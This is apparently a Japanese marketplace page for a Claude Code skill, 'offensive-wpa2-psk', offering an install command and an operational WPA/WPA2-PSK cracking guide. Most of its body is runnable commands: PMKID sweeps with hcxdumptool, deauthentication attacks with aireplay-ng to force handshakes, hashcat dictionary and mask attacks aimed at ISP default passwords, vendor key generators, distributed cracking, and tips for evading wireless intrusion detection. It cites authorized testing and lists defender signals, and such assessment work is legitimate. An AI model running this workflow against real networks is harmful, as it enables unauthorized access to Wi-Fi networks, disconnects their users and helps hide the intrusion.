mcpField
O
offensive-wpa2-psk

offensive-wpa2-psk

github.com/snailsploitセキュリティ9.7k174 回インストール2 週間前に更新
リポジトリ

offensive-wpa2-psk について

無線セキュリティ評価者向けの WPA/WPA2-PSK テストガイドです。PMKID または 4 ウェイハンドシェイクの取得、オフライン解析用形式への変換、検知の兆候を説明します。

主な機能

  1. 01PMKID の取得を優先して試行
  2. 024 ウェイハンドシェイクの取得と検証
  3. 03hashcat 形式への変換とオフライン解析
  4. 04辞書、ルール、マスクによるテスト
  5. 05検知の兆候と通信ノイズの抑制方法

活用シーン

  1. 01許可された評価で Wi-Fi PSK の強度を確認
  2. 02対象アクセスポイントのハンドシェイク情報を取得・検証
  3. 03辞書やマスクを用いて候補パスワードをオフラインでテスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-wpa2-psk

インストール後、Claude Code で/offensive-wpa2-pskを入力して読み込まれたか確認します。

詳細

WPA/WPA2-PSK 攻撃

ほぼすべての一般消費者向けおよび SMB Wi-Fi ネットワークで使われているデフォルトのモードです。4ウェイハンドシェイクの PMKID と EAPOL フレームがあれば、オフラインでの解析に必要な情報がすべて得られます。オンラインでの試行は不要で、ロックアウトもなく、検知につながる兆候は認証解除だけです(PMKID を使えば回避できます)。

クイックワークフロー

  1. ターゲットの BSSID、チャネル、暗号化方式を特定します(offensive-wifi-recon を参照)。
  2. まず PMKID を試します(高速で、クライアントとのやり取りは不要です)。
  3. PMKID が取得できなければ、4ウェイハンドシェイクのキャプチャに切り替えます。
  4. キャプチャを hashcat 互換形式に変換します。
  5. 適切なワードリスト、ルール、マスクを使ってオフラインで解析します。

PMKID 攻撃(可能な場合に推奨)

PMKID は4ウェイハンドシェイクの最初のメッセージに含まれています。多くの AP は1回の関連付け要求に応答して PMKID を漏らすため、実際のクライアントは必要ありません。

# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US

# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 \
  --filterlist_ap=targets.txt --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

targets.txt には、攻撃を許可された BSSID が1行につき1つ記載されています。

hash.hc22000 が空の場合、その AP から PMKID は取得できません。4ウェイハンドシェイクに進んでください。

4ウェイハンドシェイクのキャプチャ

# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

クライアントが関連付けられている場合:

# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

ハンドシェイクは airodump の右上隅に WPA handshake: AA:BB:CC:DD:EE:FF と表示されます。

一度に1台のクライアントを対象にする理由: ブロードキャスト認証解除(-c なし)は WIDS の検知をすぐに招き、より目立ちます。1つの MAC を対象に5回の認証解除を一度に送れば十分です。

キャプチャの検証

hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines

ツールが M1/M2 のペアを報告しても、EAPOL 認証が適切に行われていない場合は、再度キャプチャしてください。不完全なハンドシェイクや不正なハンドシェイクでは、解析に失敗します。

解析

辞書+ルール
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule

有用なワードリスト:

  • rockyou.txt(定番)
  • weakpass_3/weakpass_4(大規模な漏えいデータ集)
  • crackstation.txt
  • 対象に合わせたもの:会社名、製品、所在地
よくあるデフォルトパターンを狙うマスク攻撃
# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h

# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
ベンダーのデフォルト生成ツール

一部の ISP ルーターは、既知のアルゴリズムを使い、SSID のプレフィックスとシリアル番号のサフィックスから PSK を導出します。

# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -

# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
802.11r FT の解析

802.11r(Fast Transition)が有効な場合、AP 間のキー転送は有線側でキャプチャできるほか、ローミング時に無線上で確認できます。PMK の導出を利用すれば、同じ hc22000 形式で別の解析経路を使えます。

解析パフォーマンスの調整

# Show recommended workload tuning per GPU
hashcat -b -m 22000

# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000

Opportunistic Key Cache(OKC)

OKC が有効な場合(WPA2-Enterprise でも一般的です)、AP は過去に成功した関連付けの PMK をキャッシュし、ローミング時に再利用します。そのため、完全なハンドシェイクを回避できます。攻撃者から見ると、OKC のハンドシェイクから回収できる PMK のデータは同じです。主な影響は、無線上で確認できる M1/M2 のペアが少なくなることです。

検知に関する考慮事項

シグナル防御側の見方
認証解除の集中送信WIDS ルール:不正な理由コードを伴う、1秒あたり>N回の認証解除
PMKID の大量要求(hcxdumptool はデフォルトで多数の関連付け要求を送信)WIDS ルール:単一 MAC からの急速な関連付け
モニターモードのインターフェース一部のエンタープライズ向け WIDS は、近接するモニター用無線機器をフィンガープリントで識別します

検知を最小限に抑えるには、--filtermode=2 を指定した PMKID(許可リストの対象のみを使用)、単一の対象を狙った認証解除の集中送信、キャプチャごとの送信元 MAC アドレスのランダム化を行います。

エンゲージメント用チートシート

# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US

# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule

# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon

# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule

# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

主な参考資料

コメント